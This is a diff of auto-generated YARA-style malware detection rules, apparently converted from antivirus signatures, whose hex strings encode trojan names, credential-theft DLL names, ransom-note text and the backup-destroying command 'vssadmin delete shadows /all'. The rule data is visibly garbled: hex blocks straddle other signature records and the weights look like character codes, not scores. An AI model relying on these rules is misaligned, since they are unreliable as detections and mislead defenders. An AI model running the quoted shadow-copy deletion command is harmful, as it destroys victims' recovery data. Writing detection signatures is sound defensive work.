00 07 00 21 " @@ -192041,7 +204867,7 @@ rule _InfrastructureShared_16344{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*22785+(#a_66_2 & 1)*26926+(#a_65_3 & 1)*25700+(#a_64_4 & 1)*27936+(#a_33_5 & 1)*26967+(#a_01_6 & 1)*3072) >=7 } -rule _InfrastructureShared_16345{ +rule _InfrastructureShared_17418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -192057,7 +204883,7 @@ rule _InfrastructureShared_16345{ ((#a_4c_0 & 1)*21539+(#a_39_2 & 1)*14135+(#a_69_3 & 1)*26926+(#a_00_4 & 1)*28448+(#a_55_5 & 1)*27746+(#a_2e_6 & 1)*29550+(#a_01_7 & 1)*1) >=7 } -rule _InfrastructureShared_16346{ +rule _InfrastructureShared_17419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -192065,40 +204891,58 @@ rule _InfrastructureShared_16346{ $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 48 4d 52 32 00 01 00 19 80 01 43 6c 69 63 6b 61 62 6c 65 55 72 6c 42 72 6f 77 73 65 72 3d 6f 70 65 72 61 01 00 1b 80 01 43 6c 69 63 6b 61 62 6c 65 55 72 6c 42 72 6f 77 } //16675 $a_3d_1 = {69 72 65 66 6f 78 01 00 1a 80 01 43 6c 69 63 6b 61 62 6c 65 55 72 6c 42 72 6f 77 73 65 72 3d 63 68 72 6f 6d 65 01 00 0c 80 01 54 45 52 41 54 45 52 4d 2e 49 4e 49 01 00 0f 80 01 74 65 72 61 74 65 72 6d 34 37 37 2e 65 78 65 01 00 10 80 01 43 3a 5c 54 45 4d 50 5c 32 38 39 30 2e 74 6d 70 01 00 0f 80 01 54 6f 6f 6c 62 61 72 57 69 6e 64 6f 77 33 } //25971 $a_0a_2 = {80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 06 01 00 08 00 08 00 0d 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 64 63 53 70 6f 6e 67 65 2e 48 21 64 68 61 00 01 00 09 01 41 70 69 48 6f 6f 6b 36 34 01 00 0a 01 6b 64 63 73 76 73 2e 64 6c 6c 01 00 0a 01 6b 64 63 73 76 63 2e 64 6c 6c 01 00 0a 01 6b 64 63 63 6c 69 2e 64 6c 6c 01 00 09 01 6b 64 63 70 77 2e 64 6c 6c 01 00 13 01 4b 65 72 62 48 61 73 68 50 61 73 73 77 6f 72 64 45 78 33 01 00 1b 01 4b 64 63 56 65 72 69 66 79 45 6e 63 72 79 70 74 65 64 54 69 6d 65 53 74 61 6d 70 01 00 0a 01 73 79 73 74 65 6d 2e 64 61 74 01 00 0c 01 63 76 65 72 73 69 6f 6e 73 2e 64 62 01 00 12 01 } //-25550 - $a_00_3 = {63 00 68 00 2a 00 37 00 38 00 39 00 30 00 01 00 0a 01 6b 64 63 74 6d 70 2e 64 61 74 01 00 0a 01 75 73 65 72 36 34 2e 64 6c 6c 01 00 0a 01 6b 64 63 70 77 64 2e 64 6c 6c 00 00 78 06 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 } //116 - $a_54_4 = {00 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 06 80 01 73 61 64 61 64 61 01 00 16 80 01 4d 65 73 73 61 67 65 53 75 72 72 6f 67 61 74 65 46 69 6c 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 } //8522 - $a_69_5 = {6e 01 00 0a 80 01 52 43 32 44 65 63 72 79 70 74 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 14 80 01 49 4b 4d 4e 4a 49 55 48 42 56 47 59 54 43 56 58 52 44 45 46 01 00 1a 80 01 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 } //28773 - $a_79_6 = {00 09 80 01 53 65 6c 65 63 74 6f 72 58 00 00 78 06 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 42 21 4d 54 42 00 01 00 14 81 01 5c 73 6f 61 70 6c 65 65 73 5c 66 65 6e 65 73 74 65 6c 6c 61 01 00 0d 81 01 48 6f 76 65 72 65 64 32 32 2e 69 6e 69 01 00 0c } //25197 - $a_63_7 = {6c 6c 65 72 65 2e 69 6e 69 01 00 0c 81 01 61 64 68 72 65 72 65 72 2e 6f 76 65 01 00 13 81 01 61 6e 74 72 6f 74 79 6d 70 61 6e 69 74 69 73 2e 69 6e 69 01 00 0d 81 01 6a 6f 69 73 74 6c 65 73 73 2e 69 6e 69 01 00 0c 81 01 6d 75 72 73 74 65 6e 65 2e 69 } //385 - $a_00_8 = {13 } //26990 - $a_6f_9 = {68 61 6c 6c 75 63 69 6e 61 74 65 64 2e 74 78 74 01 00 18 81 01 73 74 6f 72 65 62 6c 74 73 66 6f 72 62 69 6e 64 65 6c 73 65 2e 6f 78 79 01 00 17 81 01 5c 67 64 6e 69 6e 67 73 70 72 6f 64 75 6b 74 69 6f 6e 73 2e 62 6f 72 00 00 78 06 01 00 0f 00 0f 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 6f 6e 73 6f 6c 65 41 70 70 6c 69 63 } //385 + $a_00_3 = {63 00 68 00 2a 00 37 00 38 00 39 00 30 00 01 00 0a 01 6b 64 63 74 6d 70 2e 64 61 74 01 00 0a 01 75 73 65 72 36 34 2e 64 6c 6c 01 00 0a 01 6b 64 63 70 77 64 2e 64 6c 6c 00 00 78 06 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 4e 30 31 21 4d 54 42 00 01 } //116 + $a_01_4 = {65 6c 65 6b 74 72 6f 65 6e 63 65 66 61 6c 6f 67 72 61 66 69 73 2e 69 6e 69 01 00 10 81 01 67 6f 62 65 6c 69 6e 65 72 6e 65 73 2e 6a 70 67 01 00 0f 81 01 68 6f 76 65 64 73 79 6d 70 74 6f 6d 65 72 73 01 00 11 81 01 73 65 6b 73 6f 67 74 72 65 73 65 6e 73 2e 6a 70 67 01 00 0b 81 01 6d 61 6e 62 6f 74 65 2e 69 6e 64 01 00 09 81 01 76 61 72 6d 65 6e 64 65 73 01 00 2c 81 01 6c 6f 67 69 6b 70 } //6400 + $a_72_5 = {6d 6d 65 72 69 6e 67 65 72 73 20 69 6e 64 65 6c 75 6b 6b 65 73 20 62 6f 67 6d 61 72 6b 65 64 65 72 01 00 19 81 01 72 65 76 65 74 73 20 6b 6c 6c 69 6e 67 65 6b 6e 75 64 65 72 73 2e 65 78 65 01 00 0f 81 01 66 6f 72 73 61 6e 67 65 72 65 73 2e 69 6e 69 00 00 78 06 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 } //28530 + $a_61_6 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4a 21 4d 54 42 00 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 06 80 01 73 61 64 61 64 61 01 00 16 80 01 4d 65 73 73 61 67 65 53 75 72 72 6f 67 61 74 65 46 69 6c 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 } //28530 + $a_00_7 = {0a } //28271 + $a_43_8 = {44 65 63 72 79 70 74 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 14 80 01 49 4b 4d 4e 4a 49 55 48 42 56 47 59 54 43 56 58 52 44 45 46 01 00 } //384 + $a_53_9 = {73 } //-32742 s condition: - ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*25971+(#a_0a_2 & 1)*-25550+(#a_00_3 & 1)*116+(#a_54_4 & 1)*8522+(#a_69_5 & 1)*28773+(#a_79_6 & 1)*25197+(#a_63_7 & 1)*385+(#a_00_8 & 1)*26990+(#a_6f_9 & 1)*385) >=7 + ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*25971+(#a_0a_2 & 1)*-25550+(#a_00_3 & 1)*116+(#a_01_4 & 1)*6400+(#a_72_5 & 1)*28530+(#a_61_6 & 1)*28530+(#a_00_7 & 1)*28271+(#a_43_8 & 1)*384+(#a_53_9 & 1)*-32742) >=7 } -rule _InfrastructureShared_16347{ +rule _InfrastructureShared_17420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0d 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 64 63 53 70 6f 6e 67 65 2e 48 21 64 68 61 00 01 00 09 01 41 70 69 48 6f 6f 6b 36 34 01 00 0a 01 6b 64 63 73 76 73 2e 64 6c 6c 01 00 0a 01 6b 64 63 73 76 63 2e 64 6c 6c 01 00 0a } //16675 $a_63_1 = {6c 69 2e 64 6c 6c 01 00 09 01 6b 64 63 70 77 2e 64 6c 6c 01 00 13 01 4b 65 72 62 48 61 73 68 50 61 73 73 77 6f 72 64 45 78 33 01 00 1b 01 4b 64 63 56 65 72 69 66 79 45 6e 63 72 79 70 74 65 64 54 69 6d 65 53 74 61 6d 70 01 00 0a 01 73 79 73 74 65 6d 2e 64 61 74 01 00 0c 01 63 76 65 72 73 69 6f 6e 73 } //27393 - $a_01_2 = {00 12 01 74 00 65 00 63 00 68 00 2a 00 37 00 38 00 39 00 30 00 01 00 0a 01 6b 64 63 74 6d 70 2e 64 61 74 01 00 0a 01 75 73 65 72 36 34 2e 64 6c 6c 01 00 0a 01 6b 64 63 70 77 64 2e 64 6c 6c 00 00 78 06 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //25646 - $a_73_3 = {61 2e 4f 58 46 4a 21 4d 54 42 00 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 06 80 01 73 61 64 61 64 61 01 00 16 80 01 4d 65 73 73 61 67 65 53 75 72 72 6f 67 61 74 65 46 69 6c 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 0a 80 01 52 43 32 } //21620 - $a_72_4 = {70 74 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 14 80 01 49 4b 4d 4e 4a 49 55 48 42 56 47 59 54 43 56 58 52 44 45 46 01 00 1a 80 01 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 } //25924 - $a_6d_5 = {6c 79 01 00 09 80 01 53 65 6c 65 63 74 6f 72 58 00 00 78 06 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 42 21 4d 54 42 00 01 00 14 81 01 5c 73 6f 61 70 6c 65 65 73 5c 66 65 6e 65 73 74 65 6c 6c 61 01 00 0d 81 01 48 6f 76 65 72 65 } //29555 - $a_2e_6 = {6e 69 01 00 0c 81 01 53 63 75 6c 6c 65 72 65 2e 69 6e 69 01 00 0c 81 01 61 64 68 72 65 72 65 72 2e 6f 76 65 01 00 13 81 01 61 6e 74 72 6f 74 79 6d 70 } //12900 - $a_74_7 = {73 2e 69 6e 69 01 00 0d 81 01 6a 6f 69 73 74 6c 65 73 73 2e 69 6e 69 01 00 0c 81 01 6d 75 72 73 74 65 6e 65 2e 69 6e 69 01 00 13 81 01 6e 6f 6e 68 61 6c 6c 75 63 69 6e 61 74 65 64 2e 74 78 74 01 00 18 81 01 73 74 6f 72 65 62 6c 74 73 66 6f 72 62 69 6e 64 65 6c 73 65 2e 6f 78 79 01 00 17 81 01 5c 67 64 6e 69 6e 67 } //28257 - $a_6f_8 = {75 6b 74 69 6f 6e 73 2e 62 6f 72 00 00 78 06 01 00 0f 00 0f 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 6f 6e 73 6f 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 00 05 00 55 02 43 3a 5c 55 73 65 72 73 5c 6a 73 65 6c 62 69 65 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 43 6f 6e 73 6f 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 90 02 03 5c 44 65 62 75 } //28787 - $a_6f_9 = {73 6f 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 90 02 03 2e 70 64 62 90 00 05 00 0f 00 50 44 42 4f 70 65 6e 56 61 6c 69 64 61 74 65 05 00 6f 02 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 57 00 } //23655 - $a_00_10 = {36 00 34 00 33 00 32 00 4e 00 6f 00 64 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 56 00 69 00 73 00 75 00 61 00 6c 00 53 00 74 00 75 00 64 00 69 00 6f 00 5c 00 90 02 10 5c 00 53 00 65 00 74 00 75 00 70 00 5c 00 56 00 43 00 90 00 00 00 78 06 01 00 2d 00 2d 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 4d } //111 - $a_43_11 = {72 74 65 78 2e 41 21 4d 54 42 00 14 00 36 01 4d 61 6e 20 69 73 20 74 68 65 20 6d 61 73 74 65 72 20 6f 66 20 65 76 65 72 79 74 68 69 6e 67 20 61 6e 64 20 64 65 63 69 64 65 73 20 65 76 65 72 79 74 68 69 6e 67 14 00 4c 01 49 66 20 79 6f 75 20 61 72 65 20 72 65 61 64 69 6e 67 20 74 68 69 73 20 } //26469 - $a_74_12 = {20 69 74 20 6d 65 61 6e 73 2c 20 77 65 27 76 65 20 68 61 63 6b 65 64 20 79 6f 75 72 20 63 6f 72 70 6f 72 61 74 65 20 6e 65 74 77 6f 72 6b 2e 05 00 22 01 76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 66 6f 72 3d 05 00 26 01 21 00 21 00 21 00 5f 00 52 00 45 00 41 00 44 00 2d 00 4d 00 45 00 5f 00 21 00 21 00 21 00 2e } //25972 + $a_01_2 = {00 12 01 74 00 65 00 63 00 68 00 2a 00 37 00 38 00 39 00 30 00 01 00 0a 01 6b 64 63 74 6d 70 2e 64 61 74 01 00 0a 01 75 73 65 72 36 34 2e 64 6c 6c 01 00 0a 01 6b 64 63 70 77 64 2e 64 6c 6c 00 00 78 06 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c } //25646 + $a_31_3 = {4d 54 42 00 01 00 19 81 01 65 6c 65 6b 74 72 6f 65 6e 63 65 66 61 6c 6f 67 72 61 66 69 73 2e 69 6e 69 01 00 10 81 01 67 6f 62 65 6c 69 6e 65 72 } //20048 + $a_2e_4 = {70 67 01 00 0f 81 01 68 6f 76 65 64 73 79 6d 70 74 6f 6d 65 72 73 01 00 11 81 01 73 65 6b 73 6f 67 74 72 65 73 65 6e 73 2e 6a 70 67 01 00 0b 81 01 6d 61 6e 62 6f 74 65 2e 69 6e 64 01 00 09 81 01 76 61 72 6d 65 6e 64 65 73 01 00 2c 81 01 6c 6f 67 69 6b 70 72 6f 67 72 61 6d 6d 65 72 69 6e 67 65 72 73 20 69 6e 64 65 6c 75 6b 6b 65 73 20 62 6f 67 } //25966 + $a_6b_5 = {64 65 72 01 00 19 81 01 72 65 76 65 74 73 20 6b 6c 6c 69 6e 67 65 6b 6e 75 64 65 72 73 2e 65 78 65 01 00 0f 81 01 66 6f 72 73 61 6e 67 65 72 65 73 2e 69 6e 69 00 00 78 06 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4a 21 4d 54 42 00 01 00 0d 80 01 49 53 65 63 74 } //24941 + $a_45_6 = {74 72 79 01 00 06 80 01 73 61 64 61 64 61 01 00 16 80 01 4d 65 73 73 61 67 65 53 75 72 72 6f 67 61 74 65 46 69 6c 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 0a 80 01 52 43 32 44 65 63 72 79 70 74 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 } //28521 + $a_74_7 = {56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 14 80 01 49 4b 4d 4e 4a 49 55 48 42 56 47 59 54 43 56 58 52 44 45 46 01 00 1a 80 01 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 01 00 09 80 01 53 65 6c 65 63 74 6f 72 58 00 00 78 06 01 00 0a 00 0a 00 0a 00 21 23 48 53 } //26369 + $a_54_8 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 42 21 4d 54 42 00 01 00 14 81 01 5c 73 6f 61 70 6c 65 65 73 5c 66 65 6e 65 73 74 65 6c 6c 61 01 00 0d 81 01 } //21076 + $a_65_9 = {65 64 32 32 2e 69 6e 69 01 00 0c 81 01 53 63 75 6c 6c 65 72 65 2e 69 6e 69 01 00 0c 81 01 61 64 68 72 65 72 65 72 2e 6f 76 65 01 00 13 81 01 61 6e 74 72 6f 74 79 6d 70 61 6e 69 74 69 73 2e 69 6e 69 01 00 0d 81 01 6a 6f 69 73 74 6c 65 73 73 2e 69 6e 69 01 00 0c 81 01 6d 75 72 73 74 65 6e 65 2e 69 6e 69 01 00 13 81 01 6e 6f 6e 68 61 6c 6c 75 63 69 6e 61 } //28488 + $a_2e_10 = {78 74 01 00 18 81 01 73 74 6f 72 65 62 6c 74 73 66 6f 72 62 69 6e 64 65 6c 73 65 2e 6f 78 79 01 00 17 81 01 5c 67 64 6e 69 6e 67 73 70 72 6f 64 75 6b 74 69 6f 6e 73 2e 62 6f 72 00 00 78 06 01 00 0f 00 0f 00 03 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 6f 6e 73 6f 6c 65 41 70 70 6c 69 63 61 74 69 6f } //25972 + $a_00_11 = {55 02 43 3a 5c } //110 + $a_72_12 = {5c 6a 73 65 6c 62 69 65 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 43 6f 6e 73 6f 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 90 02 03 5c 44 65 62 75 67 5c 43 6f 6e 73 6f 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 90 02 03 2e 70 64 62 90 00 05 00 0f 00 50 44 42 4f 70 65 6e 56 61 6c 69 64 61 74 65 05 00 6f 02 53 } //29525 condition: - ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27393+(#a_01_2 & 1)*25646+(#a_73_3 & 1)*21620+(#a_72_4 & 1)*25924+(#a_6d_5 & 1)*29555+(#a_2e_6 & 1)*12900+(#a_74_7 & 1)*28257+(#a_6f_8 & 1)*28787+(#a_6f_9 & 1)*23655+(#a_00_10 & 1)*111+(#a_43_11 & 1)*26469+(#a_74_12 & 1)*25972) >=8 + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27393+(#a_01_2 & 1)*25646+(#a_31_3 & 1)*20048+(#a_2e_4 & 1)*25966+(#a_6b_5 & 1)*24941+(#a_45_6 & 1)*28521+(#a_74_7 & 1)*26369+(#a_54_8 & 1)*21076+(#a_65_9 & 1)*28488+(#a_2e_10 & 1)*25972+(#a_00_11 & 1)*110+(#a_72_12 & 1)*29525) >=8 } -rule _InfrastructureShared_16348{ +rule _InfrastructureShared_17421{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 4e 30 31 21 4d 54 42 00 01 00 19 81 01 65 6c 65 6b 74 72 6f 65 6e 63 65 66 61 6c 6f 67 72 61 66 69 73 2e 69 6e 69 01 00 10 81 01 67 6f 62 65 6c 69 6e 65 72 6e 65 73 2e 6a 70 67 01 00 0f 81 01 68 } //18467 + $a_64_1 = {79 6d 70 74 6f 6d 65 72 73 01 00 11 81 01 73 65 6b 73 6f 67 74 72 65 73 65 6e 73 2e 6a 70 67 01 00 0b 81 01 6d 61 6e 62 6f 74 65 2e 69 6e 64 01 00 09 81 01 76 61 72 6d 65 6e 64 65 73 01 00 2c 81 01 6c 6f 67 69 6b 70 72 6f 67 72 61 6d 6d 65 72 69 6e 67 65 72 73 20 69 6e 64 65 6c 75 6b 6b 65 73 20 62 6f } //30319 + $a_72_2 = {65 64 65 72 01 00 19 81 01 72 65 76 65 74 73 20 6b 6c 6c 69 6e 67 65 6b 6e 75 64 65 72 73 2e 65 78 65 01 00 0f 81 01 66 6f 72 73 61 6e 67 65 72 65 73 2e 69 6e 69 00 00 78 06 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f } //28007 + $a_21_3 = {54 42 00 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 06 80 01 73 61 64 61 64 61 01 00 16 80 01 4d 65 73 73 61 67 65 53 75 72 72 6f 67 61 74 65 46 69 6c 74 65 72 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c } //18008 + $a_78_4 = {65 70 74 69 6f 6e 01 00 0a 80 01 52 43 32 44 65 63 72 79 70 74 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 } //25701 + $a_80_5 = {49 4b 4d 4e 4a 49 55 48 42 56 47 59 54 43 56 58 52 44 45 46 } //IKMNJIUHBVGYTCVXRDEF 1 + $a_80_6 = {53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 } //System.Reflection.Assembly 1 + $a_80_7 = {53 65 6c 65 63 74 6f 72 58 } //SelectorX 1 + $a_06_8 = {01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 42 21 4d 54 42 00 01 00 14 81 01 5c 73 6f 61 70 6c 65 65 73 5c 66 65 6e 65 73 74 65 6c 6c 61 01 00 0d 81 01 48 6f 76 65 72 65 64 32 32 2e 69 6e 69 01 00 0c 81 01 53 63 75 6c 6c 65 72 65 2e 69 6e 69 01 00 0c 81 01 61 64 68 72 65 72 65 72 2e 6f } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30319+(#a_72_2 & 1)*28007+(#a_21_3 & 1)*18008+(#a_78_4 & 1)*25701+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_06_8 & 1)*0) >=9 + +} +rule _InfrastructureShared_17422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -192116,7 +204960,7 @@ rule _InfrastructureShared_16348{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26950+(#a_52_2 & 1)*22083+(#a_21_3 & 1)*21075+(#a_64_4 & 1)*385+(#a_72_5 & 1)*29811+(#a_72_6 & 1)*28531+(#a_00_8 & 1)*100+(#a_67_9 & 1)*19759) >=10 } -rule _InfrastructureShared_16349{ +rule _InfrastructureShared_17423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -192133,7 +204977,7 @@ rule _InfrastructureShared_16349{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25964+(#a_66_2 & 1)*29804+(#a_43_3 & 1)*29551+(#a_00_4 & 1)*92+(#a_00_5 & 1)*67+(#a_73_6 & 1)*24933+(#a_00_9 & 1)*1912) >=10 } -rule _InfrastructureShared_16350{ +rule _InfrastructureShared_17424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -192145,7 +204989,7 @@ rule _InfrastructureShared_16350{ ((#a_6c_0 & 1)*16675+(#a_62_1 & 1)*28718+(#a_00_2 & 1)*116) >=15 } -rule _InfrastructureShared_16351{ +rule _InfrastructureShared_17425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 04 00 21 " @@ -192158,7 +205002,7 @@ rule _InfrastructureShared_16351{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*8307+(#a_74_2 & 1)*27749+(#a_42_3 & 1)*19745) >=45 } -rule _InfrastructureShared_16352{ +rule _InfrastructureShared_17426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -192169,7 +205013,7 @@ rule _InfrastructureShared_16352{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-30464) >=1 } -rule _InfrastructureShared_16353{ +rule _InfrastructureShared_17427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -192183,7 +205027,7 @@ rule _InfrastructureShared_16353{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*13360+(#a_34_2 & 1)*12597+(#a_2d_3 & 1)*12641+(#a_a7_4 & 1)*-30999) >=1 } -rule _InfrastructureShared_16354{ +rule _InfrastructureShared_17428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -192196,7 +205040,7 @@ rule _InfrastructureShared_16354{ ((#a_6b_0 & 1)*17955+(#a_e0_1 & 1)*-15958+(#a_46_2 & 1)*22066+(#a_00_4 & 1)*65) >=1 } -rule _InfrastructureShared_16355{ +rule _InfrastructureShared_17429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -192206,7 +205050,7 @@ rule _InfrastructureShared_16355{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_16356{ +rule _InfrastructureShared_17430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -192217,7 +205061,7 @@ rule _InfrastructureShared_16356{ ((#a_54_0 & 1)*18467+(#a_3e_1 & 1)*29793) >=2 } -rule _InfrastructureShared_16357{ +rule _InfrastructureShared_17431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -192228,7 +205072,7 @@ rule _InfrastructureShared_16357{ ((#a_54_0 & 1)*18467+(#a_c0_1 & 1)*-1) >=2 } -rule _InfrastructureShared_16358{ +rule _InfrastructureShared_17432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -192240,7 +205084,7 @@ rule _InfrastructureShared_16358{ ((#a_46_0 & 1)*16675+(#a_59_1 & 1)*13824+(#a_00_3 & 1)*111) >=2 } -rule _InfrastructureShared_16359{ +rule _InfrastructureShared_17433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -192253,7 +205097,7 @@ rule _InfrastructureShared_16359{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*28102+(#a_5b_2 & 1)*16128+(#a_65_3 & 1)*17696) >=2 } -rule _InfrastructureShared_16360{ +rule _InfrastructureShared_17434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -192267,7 +205111,7 @@ rule _InfrastructureShared_16360{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*25888+(#a_00_2 & 1)*19781+(#a_5d_3 & 1)*23297+(#a_64_4 & 1)*25376) >=2 } -rule _InfrastructureShared_16361{ +rule _InfrastructureShared_17435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192278,7 +205122,7 @@ rule _InfrastructureShared_16361{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100) >=3 } -rule _InfrastructureShared_16362{ +rule _InfrastructureShared_17436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -192289,7 +205133,7 @@ rule 